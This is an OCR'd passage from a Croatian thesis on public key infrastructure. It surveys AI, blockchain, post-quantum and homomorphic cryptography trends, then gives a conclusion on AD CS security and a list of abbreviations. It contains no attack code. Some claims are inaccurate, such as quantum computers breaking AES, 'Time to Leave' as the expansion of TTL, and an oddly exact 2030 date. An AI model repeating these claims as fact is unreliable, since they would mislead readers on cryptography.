Uz razvoj umjetne inteligencije, predvidanje buducih trendova u infrastrukturi javnog
kljuca postaje sve izazovnije. Al donosi nove mogucnosti, ali i potencijalne sigurnosne prijetnje
koje bi mogle zahtijevati inovativne pristupe u osiguravanju PKI sustava. Unato¢ brojnim
1zazovima, postoje nacini na koje ¢e infrastruktura javnog kljuca uspjeti popratiti razvoj umjetne
inteligencije. Al ¢e omoguciti optimizaciju 1 automatizaciju klju¢nih procesa u PKI sustavima, §to
¢e povecati u€inkovitost i smanjiti potencijalne ljudske pogreske. Uz to, PKI ¢e moc¢i koristiti
sposobnost umjetne inteligencije za otkrivanje i obranu od naprednih sigurnosnih prijetnji, kao Sto
su krada privatnih kljuceva ili lazni identiteti, [35].
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Nedavna istrazivanja pokazuju da kiberneticki napadaci sve viSe koriste umjetnu
inteligenciju za unapredenje svojih tehnika. Na primjer, [35]:

e Automatizacija zlonamjernih aktivnosti - Kiberneti¢ki kriminalci mogu koristiti
generativnu umjetnu inteligenciju za stvaranje naprednog zlonamjernog softvera
koji dinamicki mijenja svoj kod ili ponasanje kako bi izbjegao detekciju. Ovi
napredni oblici zlonamjernog softvera su tezi za predvidjeti i kontrolirati, Sto
znacajno povecava rizik od Siroko rasprostranjenih sistemskih poremecaja i velikih
naru$avanja sigurnosti podataka,

e Napredni napadi socijalnog inzenjeringa (engl. Phishing attack) - Generativna
umjetna inteligencija moze uciti 1 oponasati stil pisanja i osobne podatke korisnika,
se ¢ine kao da dolaze od pouzdanih kontakata ili uglednih institucija, mogu zavarati
pojedince da otkriju osjetljive informacije, predstavljaju¢i ozbiljnu prijetnju
osobnoj i korporativnoj kiberneti¢koj sigurnosti,

e Realisticne digitalne manipulacije (engl. deepfakes): Generativha umjetna
inteligencija omogucéava zlonamjernim akterima stvaranje visoko uvjerljivih
krivotvorina slika, zvuka 1 videa. Deepfake-ovi predstavljaju ozbiljan rizik za
kampanje dezinformacija, prijevare i lazno predstavljanje.

S druge strane, PKI moZe pridonijeti u zastiti od novih prijetnji koje su nastale dolaskom
Al tehnologije. Skupina klju¢nih industrijskih subjekata, ukljucujuc¢i Adobe, Microsoft i DigiCert,
ukazuje na razvoj standarda poznatog pod nazivom Coalition for Content Provenance and
Authenticity (C2PA). Ova inicijativa je uvela otvoreni standard usmjeren na rjeSavanje izazova
vezanih uz verifikaciju 1 autentifikaciju digitalnih datoteka. KoriStenjem infrastrukture javnih
kljuceva, C2PA stvara neosporivi lanac dokazivanja, omogucuju¢i korisnicima razlikovanje
autenti¢nih medijskih sadrzaja od onih krivotvorenih. Specifikacija ovog standarda omogucava
korisnicima identifikaciju izvora, autora, datuma nastanka, lokacije 1 svih izmjena unutar digitalne
datoteke. Primarni cilj ove norme je promicanje transparentnosti i pouzdanosti digitalnih medijskih
datoteka, posebno u kontekstu rastu¢ih izazova pri razlikovanju sadrzaja generiranog umjetnom
inteligencijom od stvarnog sadrzaja, [35].

Umjetna inteligencija ima potencijal da bude primijenjena i kao sredstvo za izvrSenje, ali i
za obranu od kiberneti¢kih napada. Al moze omoguciti sofisticirane napade, ali istovremeno pruza
napredne alate za prevenciju i detekciju tih prijetnji. Medutim, presudno je da organizacije
prepoznaju potencijalne rizike povezane s primjenom Al te odmah zapo¢nu s implementacijom
odgovaraju¢ih sigurnosnih mjera. Vazno je napomenuti da, unato¢ znac¢ajnom napretku Al
tehnologije, ljudski faktor ostaje nezamjenjiv u cjelokupnom procesu upravljanja kibernetickom
sigurnoscu, [35].

6.2. PKI 1 Blockchain tehnologija
Blockchain je tehnologija prezentirana tehnoloskom svijetu 2008. godine. Blockchain
predstavlja javni, nepromjenjivi registar koji se kontinuirano $iri s novim zapisima. Svaki blok u
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lancu sadrzi zaglavlje, koje obi¢no ukljucuje hash prethodnog bloka, vremensku oznaku i podatke
o transakcijama. Blockchain funkcionira kao decentralizirana mreza zasnovana na peer-to-peer
tehnologiji, koja se sastoji od punih i lakih ¢vorova. Lagani ¢vorovi pohranjuju samo zaglavlja
blokova, dok puni ¢vorovi potvrduju i distribuiraju nove transakcije te Cuvaju cjelokupnu kopiju
lanca blokova, [34].

Poslovanje se oslanja na precizne i pravovremene informacije. Sto se brze i to¢nije
informacije prenose, to je bolje za poslovne procese. Blockchain tehnologija je izuzetno pogodna
za pruzanje ovih informacija, jer omogucuje trenutan, zajednicki i transparentan uvid u podatke
pohranjene u nepromjenjivoj knjizi, kojoj mogu pristupiti samo ovlaSteni ¢lanovi mreze.
Blockchain mreza omogucava pra¢enje narudzbi, plac¢anja, racuna, proizvodnje i drugih poslovnih
aktivnosti. Zahvaljuju¢i zajedniCkom pristupu istim podacima, svi ¢lanovi mreze imaju potpuni
uvid u transakcije od pocetka do kraja, Sto povecava povjerenje i otvara nove mogucénosti za
poboljsanje ucinkovitosti, [37].

Glavne prednosti Blockchain tehnologije su, [37]:

e Tehnologija distribuirane knjige
o Transakcije se biljeze jednom
o Svi korisnici imaju ista prava pristupa
e Nepromjenjivost zapisa
o Jednom zabiljezena transakcija u zajedni¢koj knjizi ne moZe biti
izmijenjena ili izbrisana od strane nijednog sudionika
o U slucaju greske prilikom transakcije unosi se nova transakcija koja
ponistava prethodnu, pri ¢emu obje transakcije ostaju dostupne za
pregled
e Pametni ugovori
o Skup pravila pohranjen na Blockchain-u
o Automatsko izvrSavanje
o Specificira uvjete dogovorene izmedu dva tijela, te nakon Sto se pravila
ispune automatski izvrSava ono $to je ugovorom definirano.

Vise od polovice svjetskih implementacija blockchain tehnologije koristi digitalne potpise.
Ono §to PKI donosi digitalnom potpisu je mogucnost provjere autenti¢nosti vlasniStva kljuca.
Blockchain sam po sebi ne pruza tu funkcionalnost. S druge strane, blockchain doprinosi
inovativnoj 1 distribuiranoj metodi stvaranja i odrzavanja nepromjenjivosti digitalne knjige. lako
blockchain ne garantira legitimitet unosa u blok ili identifikaciju sudionika transakcija u glavnoj
knjizi, omogucuje sigurnost da podaci nisu izmijenjeni od trenutka zapisa, [38].

PKI omogucuje potpisivanje podataka koji se Salju, ali ne utjece na nacin pohrane tih
podataka u razliCitim tvrtkama. Obi¢no postoji viSe nepovezanih skladiSta podataka, a
komunikacija se odvija samo kada jedno od njih inicira kontakt, $to ne osigurava dostupnost
podataka u stvarnom vremenu. S druge strane, blockchain aktivno odrzava jedinstvenu kopiju
podataka, kojom se upravlja putem konsenzusa potpisa izmedu uklju€enih strana. Modifikacije
podataka se definiraju i postaju dostupne svim sudionicima uz minimalan rizik od neovlastenih
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izmjena. U sustini, kombinacija blockchain tehnologije i PKI-a omogucuje u¢inkovitu koordinaciju
1 uskladenost izmedu vise organizacija, [38].

Budu¢i da blockchain 1 PKI sadrze prednosti koje su medusobno komplementarne, javlja
se ideja o kombinaciji dvaju tehnologija i stvaranju blockchain baziranog PKI okruzenja. Izgradnja
decentraliziranih PKI sustava koriStenjem blockchain tehnologije uklanja potencijalne tocke
neuspjeha koje se javljaju pri koristenju certifikacijskih autoriteta. Ako su autoriteti ugrozeni, cijeli
lanci certifikata mogu biti kompromitirani. Osim toga, PKI baziran na blockchain-u, kao javni
zapisnik koji omogucuje samo dodavanje podataka, inherentno pruza transparentnost certifikata,
slicno kao $to je Google implementirao za poboljSanje sigurnosti PKI-a temeljenog na CA kroz
javno evidentiranje i prac¢enje certifikata, [39].

PKI temeljen na blockchainu takoder nudi potencijalne prednosti u odnosu na PKI temeljen
na WoT (engl. Web of Trust) modelu, gdje je uspostavljanje povjerenja znacajna prepreka ulasku.
Potrebni su veliki napori za izgradnju mreze koja moze dokazati pouzdanost znacajnom dijelu
korisnika. U PKI sustavu temeljenom na blockchainu, entiteti ne zahtijevaju clanove koji potvrduju
legitimnost mreze, ¢ime se eliminira potreba implementiranja mrezno kompliciranih karakteristika
kako bi se funkcioniralo kao dio mreze, [40].

6.3. PKI1kvantna kriptografija

U posljednjih nekoliko godina prijetnja kvantnih ra¢unala postala je sve znacajnija. Brza
obrada podataka koju omogucéavaju kvantna racunala ugrozava sigurnost sustava koji se oslanjaju
na klasi¢ne kriptografske algoritme. Prema procjenama Cloud Security Alliance-a, 14. Travnja
2030. godine snaga kvantnih racunala ¢e biti takva da ¢e mo¢i kompromitirati danasnje sigurnosne
tehnologije koje se baziraju na kriptografiji. Ovdje se direktno odnosi na proboj ekripcija koje se
danas koriste, poput AES (engl. Advanced Encryption Standard), RSA (engl. Rivest-Shamir-
Adleman) 1 Diffie—Hellman enkripcije. Infrastruktura javnih kljueva oslanja se na asimetri¢ne
kriptografske algoritme 1 Siroko se koristi u mnogim sektorima, stoga je klju¢no osigurati njenu
otpornost. Neophodno je zamijeniti tradicionalne kriptografske algoritme postkvantnim
kriptografskim algoritmima ili hibridnim rjeSenjima, [41].

Brojne organizacije, poput Microsoft-a, IBM-a, Intel-a i raznih vladinih organizacija,
aktivno rade na osposobljavanju kvantnog rac¢unala. Odredeni tipovi kvantnih racunala, koristeci
kvantne algoritme poput Shorovog algoritma, [42], mogu brzo faktorizirati jednadzbe koje
uklju¢uju velike proste brojeve. Ove jednadzbe su temelj zaStite vecine tradicionalnih
kriptografskih sustava s javnim klju¢em. Dok tradicionalna binarna racunala tesko faktoriziraju
velike proste brojeve, kvantna racunala s dovoljno "qubita" mogu ovaj proces obaviti u vrlo
kratkom vremenu, od nekoliko minuta do nekoliko dana, [41],

Potrebno je pripremiti se za budu¢nost pronalazenjem novih rjesenja, poput integracije
postkvantnih kriptografskih (engl. Post-quantum cryptography - PQC) algoritama, kako bi se
osigurala otpornost na kvantna racunala. Nacionalni institut za standarde i tehnologiju (engl.
National Institute of Standards and Technology - NIST) pokrenuo je projekt standardizacije PQC
algoritama s ciljem razvijanja sigurnih kvantno otpornih kriptografskih metoda koje mogu
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zamijeniti klasi¢ne algoritme koji se trenutno koriste za autentifikaciju, sigurnu komunikaciju 1
prijenos podataka u razli¢itim podrucjima, [43].

Postkvantni kriptografski sustavi mogu pruziti u¢inkovitu zastitu protiv kompromitiranih
kriptosustava. Stoga je kljucni cilj u razvoju kvantno otpornog PKI-ja prijelaz s klasi¢nih
asimetri¢nih kriptografskih algoritama na PQC algoritme. Medutim, ova nadogradnja zahtijeva
znacajno vrijeme 1 resurse. Kao prvi vazan korak u osiguravanju informacijske i kiberneticke
sigurnosti u postkvantnoj eri moze se razmotriti koriStenje hibridnih digitalnih certifikata. Ovo
rjeSenje pruza dodatnu motivaciju za razvoj i implementaciju hibridnih shema, buduéi da nedavno
razvijene PQC tehnike jo$ nisu dovoljno dugo proucavane, te uspjesni napadi mogu nastati u bilo
kojem trenutku, Sto povecava rizik njihove nesigurnosti. U hibridnom pristupu, tradicionalni
algoritam i jedan ili viSe postkvantnih algoritama koriste se paralelno. Ovo osigurava povjerljivost
1 autenti¢nost podataka sve dok barem jedan algoritam ostane siguran. Takva hibridna rjesenja ve¢
su uvedena za PKI, a neka od njih su ve¢ u komercijalnoj upotrebi, [44].

Takoder je bitno uzeti u obzir da postkvantni algoritmi imaju specificne zahtjeve za
pohranom i resursima, razlicite od klasi¢nih algoritama. Ovi algoritmi koriste znatno vece javne i
privatne kljuceve, koji moraju biti adekvatno pohranjeni unutar implementiranog sustava. Nadalje,
zbog toga §to se ove sheme oslanjaju na matematicke probleme i teoriju kodiranja za svoju
sigurnost, njihova implementacija je racunalno zahtjevnija i dugotrajnija. Razlike u sloZenosti
izmedu postkvantnih i klasi¢nih algoritama mogu biti znacajne. Neke aplikacije koje trenutno
koriste PKI zahtijevat ¢e opsezan redizajn za primjenu PQC algoritama, dok su druge aplikacije
ve¢ kompatibilne s kvantno sigurnim algoritmima u svom trenutnom obliku, [44].

Enkripcija koriStena u protokolu TLS je posebno izlozena prijetnjama kvantnih racunala,
ali se pokazuje kao dobro prilagodena za integraciju kvantno otpornim algoritmima 1 hibridnim
rjeSenjima koja mogu ublaziti te prijetnje. TLS omogucuje jednostavnu integraciju postkvantnih
algoritama buduc¢i da TLS strukture podataka podrzavaju certifikate veli¢ine do 16,7MB.
Postkvantna razmjena kljuceva je ve¢ uvedena u pregovorima koji podrzavaju transportne
protokole i koriStena je u komercijalnim aplikacijama poput OpenSSL open-source alata koji je
koristen u ovom radu prilikom proboja PKI sustava, [43].

6.4. PKI1ihomomorfna kriptografija

Napredak u tehnologijama Sifriranja znacajno je poboljSao sigurnost dijeljenja i pohrane
podataka. Ipak, tradicionalne sheme Sifriranja suoCavaju se s ogranienjima u primjeni unutar
racunalstva u oblaku, §to otvara potencijalne sigurnosne rizike. Zbog tih, ali 1 drugih ¢imbenika,
stru¢njaci u podrucjima telekomunikacija i kiberneticke sigurnosti sve vise usmjeravaju pozornost
na razvoj homomorfne enkripcije, [45].

Homomortfni sustavi Sifriranja omogucuju analizu i obradu podataka izravno na Sifriranom
tekstu, bez potrebe za deSifriranjem osnovnih podataka. Na taj nacin, Sifrirani podaci ostaju
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zaSti¢eni tijekom obrade, Sto pruza dodatni sloj sigurnosti u okruzenjima racunalstva u oblaku,
[45].

Sli¢no kao i kod tradicionalne enkripcije, homomorfne sheme Sifriranja koriste javni kljuc
za Sifriranje podataka. Medutim, za razliku od tradicionalnih metoda, homomorfni kriptosustavi
primjenjuju naprednije matematike algoritme kako bi osigurali otpornost podataka na potencijalne
napade, [45].

Tradicionalne metode Sifriranja, poput AES i RSA kriptosustava, prepoznate su kao
ucinkoviti 1 sigurni sustavi za pohranu Sifriranih podataka. Iako su pouzdani, ovi sustavi suocavaju
se s izazovima kada je rije¢ o obradi i pristupu pohranjenim podacima, §to moZze ugroziti sigurnost
u odredenim scenarijima, [45].

Nasuprot tome, homomorfna enkripcija, iako se oslanja na slozenije algoritme, omogucuje
laksi pristup podacima. Primjerice, posluzitelj u oblaku moze izvoditi operacije nad Sifriranim
podacima i izravno vratiti Sifrirane rezultate vlasniku podataka. Ovaj pristup eliminira potrebu za
desifriranjem podataka tijekom obrade, ¢ime se uklanjaju potencijalne sigurnosne slabosti u
komunikaciji izmedu vlasnika podataka i posluzitelja, [45].

Prednosti homomorfnih sustava su, [45]:

e Ocuvanje privatnosti podataka bez ometanja funkcionalnosti i obrade,

e Kbvalitetno rjeSenje za problematiku sigurnosti zajednickog dijeljenja podataka,

e Nadilazi sigurnosna rjeSenja u mobilnom rubnom racunarstvu zbog
heterogenosti podataka, te njihove obrade,

e slozeni matematicki problemi koji se koriste u homomorfnoj enkripciji do sada
nisu rijeSeni, Sto ovu tehnologiju ¢ini gotovo neprobojnim cak i za kvantna
racunala.

Nedostaci navedenih sustava vise proizlaze iz aspekta standardizacije i obrazovanja
zaposlenika nego iz samih kriptografskih metoda. S kriptografske perspektive, glavni nedostatak
je nemogucnost odredivanja korisnickih odnosa, $to zahtijeva obrnuti inZenjering kako bi se ta
informacija razumjela koji u ovakvom sustavu nije lako izvediv, [45].
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7. Zakljucak

Sigurnosni aspekti infrastrukture javnog kljuca (PKI) unutar Microsoft Windows okruzenja
igraju klju¢nu ulogu u osiguravanju integriteta, povjerljivosti i autenti¢nosti digitalnih podataka.
Ovaj rad je detaljno istrazio razli¢ite aspekte PKI-a, ukljucujuéi tehnicku implementaciju,
prakti¢nu primjenu te sigurnosne prijetnje i izazove koje mogu ugroziti integritet sustava. Poseban
fokus stavljen je na primjenu Active Directory Certificate Services (AD CS) kao temeljnog dijela
Microsoft Windows infrastrukture.

Kroz istrazivanje i analizu provedenih sigurnosnih proboja otkriveno je da, unato¢ visokom
stupnju sigurnosti koje PKI nudi, postoje specificne ranjivosti koje treba pazljivo adresirati.
Identificirani su klju¢ni sigurnosni rizici, ukljuujuc¢i loSe upravljanje certifikatima, softverske
ranjivosti te prijetnje socijalnog inzenjeringa. Preporucene su mjere zastite koje obuhvacaju stroge
sigurnosne politike, redovita azuriranja sustava, edukaciju korisnika i implementaciju dodatnih
sigurnosnih mehanizama kao $to su multifaktorska autentifikacija i revizija sigurnosnih logova.

Budu¢i trendovi u razvoju PKI-a pokazuju napredak u automatizaciji upravljanja
certifikatima, integraciji s tehnologijama poput umjetne inteligencije i strojnog ucenja te
poboljSanje sigurnosnih standarda. Organizacije koje koriste Microsoft Windows trebaju
kontinuirano pratiti ove trendove 1 prilagodavati svoje PKI sustave kako bi osigurale maksimalnu
sigurnost i u¢inkovitost.

U zakljucku, PKI na Microsoft Windows platformi pruza robustan okvir za osiguranje
digitalne komunikacije 1 podataka, ali zahtijeva pazljivu implementaciju 1 upravljanje.
Kontinuirana edukacija, redovita azuriranja i prilagodba sigurnosnih politika klju¢ni su za
odrzavanje visokog stupnja sigurnosti u suocavanju sa sve sofisticiranijim cyber prijetnjama.
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Popis kratica

PKI
ANSI
CA
SSL
CRL
OCSP

SCVP

QR-CODE
FINA
HTTP
CDP
HTTPS
GDPR
SSL/TLS

OSI
TCP/1P
VPN
Wi-Fi
MDM
EMM
IoT
MQTT

CoAP
REST

(Public Key Infrastructure) infrastruktura javnog kljuca

(American National Standards Institute) Americki nacionalni institut za standarde
(Certificate Authority) certificirajuce tijelo

(Secure Sockets Layer) metoda kriptiranja web prometa

(Certificate revocation list) lista povucenih certifikata

(Online Certificate Status Protocol) protokol za provjeru statusa aktivnih
certifikata

(Simple Certificate Validation Protocol) protokol za jednostavnu validaciju
certifikata

(Quick Response code) kod s brzom provjerom

Financijska agencija

(Hypertext Transfer Protocol) protokol za prijenos informacija na web-u
(Certificate Distribution Point) tocka izdavanja certifikata

(Hypertext transfer protocol secure) protokol za kriptiranu komunikaciju
(General Data Protection Regulation) op¢a uredba o zastiti podataka

(Secure Sockets Layer/Transport Layer Security) protokoli za kriptiranu razmjenu
informacija

(Open Systems Interconnection) model za arhitekturu mreze

(Transmission Control Protocol/Internet Protocol) model za arhitekturu mreze
(Virtual Private Network) virtualna privatna mreza

(Wireless Fidelity) bezicno umrezavanje

(Mobile Device Management) upravljanje mobilnim uredajima

(Enterprise Mobility Management) upravljanje mobilnos¢u poduzeca
(Internet of Things) internet stvari

(Message Queuing Telemetry Transport) telemetrijski prijenos poruka u redu
¢ekanja

(Constrained Application Protocol) protokol ograni¢ene aplikacije

(Representational State Transfer) prijenos reprezentativnog stanja
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BLE
LoRa
ADCS

KDC
OID
AIA
CDP

KRA
RPC
TGT
NTLM
TGS
TTL
PAC
SAN
EKU
CSR
DNS
AltName
PEM
IETF
PFX
UPN
Al
C2PA

WoT

(Bluetooth Low Energy) niskoenergetski Bluetooth

(Long Range Wide Area Networking) mreza velikog dometa

(Active Directory Certificate Services) usluge certifikata aktivnog direktorija
(Microsoft management center) Microsoft-ovo upravljacko srediste

(Key distribution center) centar za distribuciju kljuceva

(Object Identifier) identifikator objekta

(Authority Information Access) pristup informacijama o ovlasti

(Certificate Revocation List Distribution Point) tocka distribucije popisa
opozvanih certifikata

(Key Recovery Agent) agent za oporavak kljuceva

(Remote Procedure Call) protokol za poziv udaljene procedure
(Ticket-Granting Ticket) ulaznica za izdavanje ulaznica

(New Technology LAN Manager) kriptografski format

(Ticket-Granting Service) usluga za izdavanje ulaznica

(Time to Leave) vrijednost trajanja DNS zapisa

(Privileged Attribute Certificate) certifikat s privilegiranim atributima
(Subject Alternative Name) alternativno ime subjekta

(Extended Key Usage) prosirena funkcionalnost kljuca

(Certificate signing request) zahtjev za potpisivanjem certifikata

(Domain Name System) servis za prevodenje IP adresa

(Alternative Name) alternativno ime

(Privacy-Enhanced Mail) elektronic¢ka posta s poboljSanom privatnoséu
(Internet Engineering Task Force) radna grupa za internetsko inzenjerstvo
(Personal Information Exchange) ekstenzija za osobnu razmjenu informacija
(User Principal Name) glavno ime korisnika

(Artificial Intelligence) umjetna inteligencija

(Coalition for Content Provenance and Authenticity) koalicija za porijeklo i
autenti¢nost sadrzaja

(Web of Trust) decentralizirani sustav provjere identiteta
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PQC
NIST

(Post-quantum cryptography) postkvantna kriptografija

(National Institute of Standards and Technology) nacionalni institut standarda i
tehnologije
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